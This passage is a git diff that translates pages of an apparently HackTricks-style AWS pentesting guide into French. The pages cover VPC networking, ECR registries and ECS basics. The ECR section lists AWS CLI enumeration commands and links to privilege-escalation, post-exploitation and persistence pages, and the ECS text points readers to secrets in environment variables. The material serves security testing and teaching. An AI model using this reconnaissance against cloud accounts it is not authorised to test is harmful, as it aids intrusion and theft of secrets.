+Les groupes de sécurité sont un **pare-feu** virtuel qui contrôle le trafic réseau entrant et sortant vers des **instances** dans un VPC. Relation 1 SG à M instances (généralement 1 à 1).\
+Cela est généralement utilisé pour ouvrir des ports dangereux dans les instances, comme le port 22 par exemple :
 
 <figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
 
 ### Elastic IP Addresses
 
-An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account.
+Une _adresse IP élastique_ est une **adresse IPv4 statique** conçue pour l'informatique en nuage dynamique. Une adresse IP élastique est allouée à votre compte AWS et vous appartient jusqu'à ce que vous la libériez. En utilisant une adresse IP élastique, vous pouvez masquer la défaillance d'une instance ou d'un logiciel en remappant rapidement l'adresse à une autre instance de votre compte.
 
 ### Connection between subnets
 
-By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on.
+Par défaut, tous les sous-réseaux ont l'**attribution automatique d'adresses IP publiques désactivée**, mais cela peut être activé.
 
-**A local route within a route table enables communication between VPC subnets.**
+**Une route locale dans une table de routage permet la communication entre les sous-réseaux VPC.**
 
-If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet.
+Si vous **connectez un sous-réseau avec un autre sous-réseau, vous ne pouvez pas accéder aux sous-réseaux connectés** avec l'autre sous-réseau, vous devez créer une connexion avec eux directement. **Cela s'applique également aux passerelles Internet**. Vous ne pouvez pas passer par une connexion de sous-réseau pour accéder à Internet, vous devez attribuer la passerelle Internet à votre sous-réseau.
 
 ### VPC Peering
 
-VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network.
+Le peering VPC vous permet de **connecter deux ou plusieurs VPC ensemble**, en utilisant IPV4 ou IPV6, comme s'ils faisaient partie du même réseau.
 
-Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\
-If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\
-Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.**
+Une fois la connectivité de pair établie, **les ressources dans un VPC peuvent accéder aux ressources dans l'autre**. La connectivité entre les VPC est mise en œuvre à travers l'infrastructure réseau AWS existante, et elle est donc hautement disponible sans goulet d'étranglement de bande passante. Comme **les connexions de pair fonctionnent comme si elles faisaient partie du même réseau**, il y a des restrictions concernant vos plages de blocs CIDR qui peuvent être utilisées.\
+Si vous avez des plages CIDR **chevauchantes ou dupliquées** pour votre VPC, alors **vous ne pourrez pas établir le peering des VPC** ensemble.\
+Chaque VPC AWS **ne communiquera qu'avec son pair**. Par exemple, si vous avez une connexion de peering entre le VPC 1 et le VPC 2, et une autre connexion entre le VPC 2 et le VPC 3 comme montré, alors le VPC 1 et le VPC 2 pourraient communiquer directement entre eux, tout comme le VPC 2 et le VPC 3, cependant, le VPC 1 et le VPC 3 ne pourraient pas. **Vous ne pouvez pas router à travers un VPC pour accéder à un autre.**
 
 ### **VPC Flow Logs**
 
-Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
+Au sein de votre VPC, vous pourriez potentiellement avoir des centaines voire des milliers de ressources communiquant entre différents sous-réseaux, à la fois publics et privés, et également entre différents VPC via des connexions de peering VPC. **Les journaux de flux VPC vous permettent de capturer des informations sur le trafic IP qui circule entre les interfaces réseau de vos ressources au sein de votre VPC**.
 
-Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**.
+Contrairement aux journaux d'accès S3 et aux journaux d'accès CloudFront, les **données de journal générées par les journaux de flux VPC ne sont pas stockées dans S3. Au lieu de cela, les données de journal capturées sont envoyées aux journaux CloudWatch**.
 
-Limitations:
+Limitations :
 
-- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
-- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
-- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
-- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
-- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
-- Traffic relating to an Amazon Windows activation license from a Windows instance
-- Traffic between a network load balancer interface and an endpoint network interface
+- Si vous exécutez une connexion de peering VPC, alors vous ne pourrez voir que les journaux de flux des VPC de pair qui sont dans le même compte.
+- Si vous exécutez encore des ressources dans l'environnement EC2-Classic, alors malheureusement vous ne pouvez pas récupérer d'informations de leurs interfaces.
+- Une fois qu'un journal de flux VPC a été créé, il ne peut pas être modifié. Pour modifier la configuration du journal de flux VPC, vous devez le supprimer puis en recréer un nouveau.
+- Le trafic suivant n'est pas surveillé et capturé par les journaux. Le trafic DHCP au sein du VPC, le trafic des instances destiné au serveur DNS Amazon.
+- Tout trafic destiné à l'adresse IP du routeur par défaut du VPC et le trafic vers et depuis les adresses suivantes, 169.254.169.254 qui est utilisé pour rassembler les métadonnées des instances, et 169.254.169.123 qui est utilisé pour le service de synchronisation horaire Amazon.
+- Trafic relatif à une licence d'activation Windows d'une instance Windows.
+- Trafic entre une interface de répartiteur de charge réseau et une interface de réseau de point de terminaison.
 
-For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
+Pour chaque interface réseau qui publie des données dans le groupe de journaux CloudWatch, elle utilisera un flux de journal différent. Et dans chacun de ces flux, il y aura les données d'événement de journal de flux qui montrent le contenu des entrées de journal. Chacun de ces **journaux capture des données pendant une fenêtre d'environ 10 à 15 minutes**.
 
 ## VPN
 
 ### Basic AWS VPN Components
 
-1. **Customer Gateway**:
-   - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
-   - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
-   - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
-   - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
-2. **Virtual Private Gateway**:
-   - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
-   - It is attached to your VPC and serves as the target for your VPN connection.
-   - VPG is the AWS side endpoint for the VPN connection.
-   - It handles the secure communication between your VPC and your on-premises network.
-3. **Site-to-Site VPN Connection**:
-   - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
-   - This type of connection requires a Customer Gateway and a Virtual Private Gateway.
-   - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
-   - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
-4. **Client VPN Endpoint**:
-   - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
-   - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
-   - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
-   - With Client VPN, each client device uses a VPN client software to establish a secure connection.
+1. **Customer Gateway** :
+- Une passerelle client est une ressource que vous créez dans AWS pour représenter votre côté d'une connexion VPN.
+- C'est essentiellement un appareil physique ou une application logicielle de votre côté de la connexion VPN Site-à-Site.
+- Vous fournissez des informations de routage et l'adresse IP publique de votre appareil réseau (comme un routeur ou un pare-feu) à AWS pour créer une passerelle client.
+- Elle sert de point de référence pour établir la connexion VPN et n'entraîne pas de frais supplémentaires.
+2. **Virtual Private Gateway** :
+- Une passerelle privée virtuelle (VPG) est le concentrateur VPN du côté Amazon de la connexion VPN Site-à-Site.
+- Elle est attachée à votre VPC et sert de cible pour votre connexion VPN.
+- La VPG est le point de terminaison du côté AWS pour la connexion VPN.
+- Elle gère la communication sécurisée entre votre VPC et votre réseau sur site.
+3. **Site-to-Site VPN Connection** :
+- Une connexion VPN Site-à-Site connecte votre réseau sur site à un VPC via un tunnel VPN IPsec sécurisé.
+- Ce type de connexion nécessite une passerelle client et une passerelle privée virtuelle.
+- Elle est utilisée pour une communication sécurisée, stable et cohérente entre votre centre de données ou réseau et votre environnement AWS.
+- Typiquement utilisée pour des connexions régulières et à long terme et est facturée en fonction de la quantité de données transférées via la connexion.
+4. **Client VPN Endpoint** :
+- Un point de terminaison VPN client est une ressource que vous créez dans AWS pour activer et gérer les sessions VPN client.
+- Il est utilisé pour permettre à des appareils individuels (comme des ordinateurs portables, des smartphones, etc.) de se connecter en toute sécurité aux ressources AWS ou à votre réseau sur site.
+- Il diffère de la connexion VPN Site-à-Site en ce qu'il est conçu pour des clients individuels plutôt que de connecter des réseaux entiers.
+- Avec le VPN client, chaque appareil client utilise un logiciel client VPN pour établir une connexion sécurisée.
 
 ### Site-to-Site VPN
 
-**Connect your on premisses network with your VPC.**
+**Connectez votre réseau sur site avec votre VPC.**
 
-- **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
-- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
+- **Connexion VPN** : Une connexion sécurisée entre votre équipement sur site et vos VPC.
+- **Tunnel VPN** : Un lien crypté où les données peuvent passer du réseau client vers ou depuis AWS.
 
-  Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
+Chaque connexion VPN comprend deux tunnels VPN que vous pouvez utiliser simultanément pour une haute disponibilité.
 
-- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
-- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
-- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
-- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+- **Passerelle client** : Une ressource AWS qui fournit des informations à AWS sur votre appareil de passerelle client.
+- **Appareil de passerelle client** : Un appareil physique ou une application logicielle de votre côté de la connexion VPN Site-à-Site.
+- **Passerelle privée virtuelle** : Le concentrateur VPN du côté Amazon de la connexion VPN Site-à-Site. Vous utilisez une passerelle privée virtuelle ou une passerelle de transit comme passerelle pour le côté Amazon de la connexion VPN Site-à-Site.
+- **Passerelle de transit** : Un hub de transit qui peut être utilisé pour interconnecter vos VPC et réseaux sur site. Vous utilisez une passerelle de transit ou une passerelle privée virtuelle comme passerelle pour le côté Amazon de la connexion VPN Site-à-Site.
 
 #### Limitations
 
-- IPv6 traffic is not supported for VPN connections on a virtual private gateway.
-- An AWS VPN connection does not support Path MTU Discovery.
+- Le trafic IPv6 n'est pas pris en charge pour les connexions VPN sur une passerelle privée virtuelle.
+- Une connexion VPN AWS ne prend pas en charge la découverte de MTU de chemin.
 
-In addition, take the following into consideration when you use Site-to-Site VPN.
+De plus, prenez en compte les éléments suivants lorsque vous utilisez le VPN Site-à-Site.
 
-- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
+- Lorsque vous connectez vos VPC à un réseau sur site commun, nous vous recommandons d'utiliser des blocs CIDR non chevauchants pour vos réseaux.
 
 ### Client VPN <a href="#what-is-components" id="what-is-components"></a>
 
-**Connect from your machine to your VPC**
+**Connectez-vous depuis votre machine à votre VPC**
 
 #### Concepts
 
-- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
-- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
-- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
-- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
-- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
-- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
-- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
-- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
-- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
-- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
+- **Point de terminaison VPN client :** La ressource que vous créez et configurez pour activer et gérer les sessions VPN client. C'est la ressource où toutes les sessions VPN client sont terminées.
+- **Réseau cible :** Un réseau cible est le réseau que vous associez à un point de terminaison VPN client. **Un sous-réseau d'un VPC est un réseau cible**. L'association d'un sous-réseau avec un point de terminaison VPN client vous permet d'établir des sessions VPN. Vous pouvez associer plusieurs sous-réseaux à un point de terminaison VPN client pour une haute disponibilité. Tous les sous-réseaux doivent provenir du même VPC. Chaque sous-réseau doit appartenir à une zone de disponibilité différente.
+- **Route** : Chaque point de terminaison VPN client a une table de routage qui décrit les routes de réseau de destination disponibles. Chaque route dans la table de routage spécifie le chemin pour le trafic vers des ressources ou réseaux spécifiques.
+- **Règles d'autorisation :** Une règle d'autorisation **restreint les utilisateurs qui peuvent accéder à un réseau**. Pour un réseau spécifié, vous configurez le groupe Active Directory ou fournisseur d'identité (IdP) qui est autorisé à accéder. Seuls les utilisateurs appartenant à ce groupe peuvent accéder au réseau spécifié. **Par défaut, il n'y a pas de règles d'autorisation** et vous devez configurer des règles d'autorisation pour permettre aux utilisateurs d'accéder aux ressources et réseaux.
+- **Client :** L'utilisateur final se connectant au point de terminaison VPN client pour établir une session VPN. Les utilisateurs finaux doivent télécharger un client OpenVPN et utiliser le fichier de configuration du point de terminaison VPN client que vous avez créé pour établir une session VPN.
+- **Plage CIDR client :** Une plage d'adresses IP à partir de laquelle attribuer des adresses IP client. Chaque connexion au point de terminaison VPN client se voit attribuer une adresse IP unique de la plage CIDR client. Vous choisissez la plage CIDR client, par exemple, `10.2.0.0/16`.
+- **Ports VPN client :** AWS Client VPN prend en charge les ports 443 et 1194 pour TCP et UDP. Le port par défaut est le port 443.
+- **Interfaces réseau VPN client :** Lorsque vous associez un sous-réseau à votre point de terminaison VPN client, nous créons des interfaces réseau VPN client dans ce sous-réseau. **Le trafic envoyé au VPC depuis le point de terminaison VPN client est envoyé via une interface réseau VPN client**. La traduction d'adresse réseau source (SNAT) est ensuite appliquée, où l'adresse IP source de la plage CIDR client est traduite en l'adresse IP de l'interface réseau VPN client.
+- **Journalisation des connexions :** Vous pouvez activer la journalisation des connexions pour votre point de terminaison VPN client afin d'enregistrer les événements de connexion. Vous pouvez utiliser ces informations pour effectuer des analyses, analyser comment votre point de terminaison VPN client est utilisé ou déboguer des problèmes de connexion.
+- **Portail en libre-service :** Vous pouvez activer un portail en libre-service pour votre point de terminaison VPN client. Les clients peuvent se connecter au portail web en utilisant leurs identifiants et télécharger la dernière version du fichier de configuration du point de terminaison VPN client, ou la dernière version du client fourni par AWS.
 
 #### Limitations
 
-- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
-- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
-- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
-- The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
-- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
-- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
-- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
-- Client VPN supports **IPv4** traffic only.
-- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**.
-- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format.
+- **Les plages CIDR client ne peuvent pas chevaucher le CIDR local** du VPC dans lequel se trouve le sous-réseau associé, ou toute route ajoutée manuellement à la table de routage du point de terminaison VPN client.
+- Les plages CIDR client doivent avoir une taille de bloc d'au **moins /22** et ne doivent **pas être supérieures à /12.**
+- Une **partie des adresses** dans la plage CIDR client est utilisée pour **supporter le modèle de disponibilité** du point de terminaison VPN client, et ne peut pas être attribuée aux clients. Par conséquent, nous vous recommandons d'**attribuer un bloc CIDR contenant deux fois le nombre d'adresses IP requises** pour permettre le maximum de connexions simultanées que vous prévoyez de prendre en charge sur le point de terminaison VPN client.
+- La **plage CIDR client ne peut pas être changée** après la création du point de terminaison VPN client.
+- Les **sous-réseaux** associés à un point de terminaison VPN client **doivent être dans le même VPC**.
+- Vous **ne pouvez pas associer plusieurs sous-réseaux de la même zone de disponibilité à un point de terminaison VPN client**.
+- Un point de terminaison VPN client **ne prend pas en charge les associations de sous-réseaux dans un VPC à location dédiée**.
+- Le VPN client prend en charge uniquement le trafic **IPv4**.
+- Le VPN client **n'est pas** conforme aux normes de traitement de l'information fédérales (**FIPS**).
+- Si l'authentification multi-facteurs (MFA) est désactivée pour votre Active Directory, un mot de passe utilisateur ne peut pas être au format suivant.
 
-  ```
-  SCRV1:<base64_encoded_string>:<base64_encoded_string>
-  ```
+```
+SCRV1:<base64_encoded_string>:<base64_encoded_string>
+```
 
-- The self-service portal is **not available for clients that authenticate using mutual authentication**.
+- Le portail en libre-service **n'est pas disponible pour les clients qui s'authentifient en utilisant l'authentification mutuelle**.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
index 9025829b4..83092a086 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
@@ -6,49 +6,48 @@
 
 ### ECR
 
-#### Basic Information
+#### Informations de base
 
-Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images.
+Amazon **Elastic Container Registry** (Amazon ECR) est un **service de registre d'images de conteneurs géré**. Il est conçu pour fournir un environnement où les clients peuvent interagir avec leurs images de conteneurs en utilisant des interfaces bien connues. Plus précisément, l'utilisation de l'interface en ligne de commande Docker ou de tout client préféré est prise en charge, permettant des activités telles que le push, le pull et la gestion des images de conteneurs.
 
-ECR is compose by 2 types of objects: **Registries** and **Repositories**.
+ECR est composé de 2 types d'objets : **Registres** et **Dépôts**.
 
-**Registries**
+**Registres**
 
-Every AWS account has 2 registries: **Private** & **Public**.
+Chaque compte AWS a 2 registres : **Privé** & **Public**.
 
-1. **Private Registries**:
+1. **Registres privés** :
 
-- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission.
-  - The URI of a **private repository** follows the format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
-- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles.
-- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS...
-- **Other private registry options**:
-  - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images.
-  - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions.
-  - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**.
-  - Specific **IAM policies** can be configured to grant different **permissions**.
-  - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo.
+- **Privé par défaut** : Les images de conteneurs stockées dans un registre privé Amazon ECR sont **uniquement accessibles aux utilisateurs autorisés** au sein de votre compte AWS ou à ceux à qui des autorisations ont été accordées.
+- L'URI d'un **dépôt privé** suit le format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
+- **Contrôle d'accès** : Vous pouvez **contrôler l'accès** à vos images de conteneurs privées en utilisant des **politiques IAM**, et vous pouvez configurer des autorisations granulaires basées sur des utilisateurs ou des rôles.
+- **Intégration avec les services AWS** : Les registres privés Amazon ECR peuvent être facilement **intégrés avec d'autres services AWS**, tels que EKS, ECS...
+- **Autres options de registre privé** :
+- La colonne d'immuabilité des tags indique son statut, si l'immuabilité des tags est activée, cela **empêchera** les **pushs** d'images avec des **tags préexistants** de remplacer les images.
+- La colonne **Type de chiffrement** liste les propriétés de chiffrement du dépôt, elle montre les types de chiffrement par défaut tels que AES-256, ou a des chiffrages **KMS** activés.
+- La colonne **Cache de tirage** indique son statut, si le statut du cache de tirage est Actif, il mettra en cache les **dépôts dans un dépôt public externe dans votre dépôt privé**.
+- Des **politiques IAM** spécifiques peuvent être configurées pour accorder différentes **permissions**.
+- La **configuration de scan** permet de scanner les vulnérabilités dans les images stockées à l'intérieur du dépôt.
 
-2. **Public Registries**:
+2. **Registres publics** :
 
-- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.**
-  - The URI of a **public repository** is like `public.ecr.aws/<random>/<name>`. Although the `<random>` part can be changed by the admin to another string easier to remember.
+- **Accessibilité publique** : Les images de conteneurs stockées dans un registre public ECR sont **accessibles à quiconque sur Internet sans authentification.**
+- L'URI d'un **dépôt public** est comme `public.ecr.aws/<random>/<name>`. Bien que la partie `<random>` puisse être changée par l'administrateur en une autre chaîne plus facile à retenir.
 
-**Repositories**
+**Dépôts**
 
-These are the **images** that in the **private registry** or to the **public** one.
+Ce sont les **images** qui se trouvent dans le **registre privé** ou dans le **public**.
 
 > [!NOTE]
-> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**.
+> Notez que pour télécharger une image dans un dépôt, le **dépôt ECR doit avoir le même nom que l'image**.
 
-#### Registry & Repository Policies
+#### Politiques de registre et de dépôt
 
-**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image:
+**Registres et dépôts** ont également des **politiques qui peuvent être utilisées pour accorder des permissions à d'autres principaux/comptes**. Par exemple, dans l'image de politique de dépôt suivante, vous pouvez voir comment tout utilisateur de l'ensemble de l'organisation pourra accéder à l'image :
 
 <figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
 
-#### Enumeration
-
+#### Énumération
 ```bash
 # Get repos
 aws ecr describe-repositories
@@ -68,39 +67,34 @@ aws ecr-public describe-repositories
 aws ecr get-registry-policy
 aws ecr get-repository-policy --repository-name <repo_name>
 ```
-
-#### Unauthenticated Enum
+#### Enum non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 {{#endref}}
 
-#### Privesc
+#### Élévation de privilèges
 
-In the following page you can check how to **abuse ECR permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions ECR pour élever les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-ecr-privesc.md
 {{#endref}}
 
-#### Post Exploitation
+#### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-ecr-post-exploitation.md
 {{#endref}}
 
-#### Persistence
+#### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-ecr-persistence.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
index cbbf596fe..fc20d0efb 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
@@ -4,31 +4,30 @@
 
 ## ECS
 
-### Basic Information
+### Informations de base
 
-Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**.
+Amazon **Elastic Container Services** ou ECS fournit une plateforme pour **héberger des applications conteneurisées dans le cloud**. ECS a deux méthodes de **déploiement**, le type d'instance **EC2** et une option **sans serveur**, **Fargate**. Le service **facilite grandement l'exécution de conteneurs dans le cloud**.
 
-ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**.
+ECS fonctionne en utilisant les trois blocs de construction suivants : **Clusters**, **Services**, et **Définitions de tâches**.
 
-- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”.
-- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups.
-  - There **2 types of applications**:
-    - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application.
-    - **Task**: A standalone task that runs and terminates. For example, a batch job.
-  - Among the service applications, there are **2 types of service schedulers**:
-    - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node.
-    - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies.
-- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**...
-  - Check **env variables for sensitive info**!
+- **Clusters** sont des **groupes de conteneurs** qui fonctionnent dans le cloud. Comme mentionné précédemment, il existe deux types de lancement pour les conteneurs, EC2 et Fargate. AWS définit le type de lancement **EC2** comme permettant aux clients “d'exécuter \[leurs] applications conteneurisées sur un cluster d'instances Amazon EC2 que \[ils] **gèrent**”. **Fargate** est similaire et est défini comme “\[permettant] d'exécuter vos applications conteneurisées **sans avoir besoin de provisionner et de gérer** l'infrastructure backend”.
+- **Services** sont créés à l'intérieur d'un cluster et responsables de **l'exécution des tâches**. À l'intérieur d'une définition de service, **vous définissez le nombre de tâches à exécuter, l'auto-scaling, le fournisseur de capacité (Fargate/EC2/Externe),** les informations de **réseau** telles que les VPC, sous-réseaux et groupes de sécurité.
+- Il y a **2 types d'applications** :
+- **Service** : Un groupe de tâches gérant un travail informatique de longue durée qui peut être arrêté et redémarré. Par exemple, une application web.
+- **Tâche** : Une tâche autonome qui s'exécute et se termine. Par exemple, un travail par lot.
+- Parmi les applications de service, il y a **2 types de planificateurs de service** :
+- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html) : La stratégie de planification des répliques place et **maintient le nombre désiré** de tâches à travers votre cluster. Si pour une raison quelconque une tâche s'arrête, une nouvelle est lancée sur le même ou un autre nœud.
+- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html) : Déploie exactement une tâche sur chaque instance de conteneur active qui a les exigences nécessaires. Il n'est pas nécessaire de spécifier un nombre désiré de tâches, une stratégie de placement de tâches, ou d'utiliser des politiques d'auto-scaling de service.
+- **Définitions de tâches** sont responsables de **définir quels conteneurs seront exécutés** et les divers paramètres qui seront configurés avec les conteneurs tels que **mappages de ports** avec l'hôte, **variables d'environnement**, Docker **entrypoint**...
+- Vérifiez **les variables d'environnement pour des informations sensibles** !
 
-### Sensitive Data In Task Definitions
+### Données sensibles dans les définitions de tâches
 
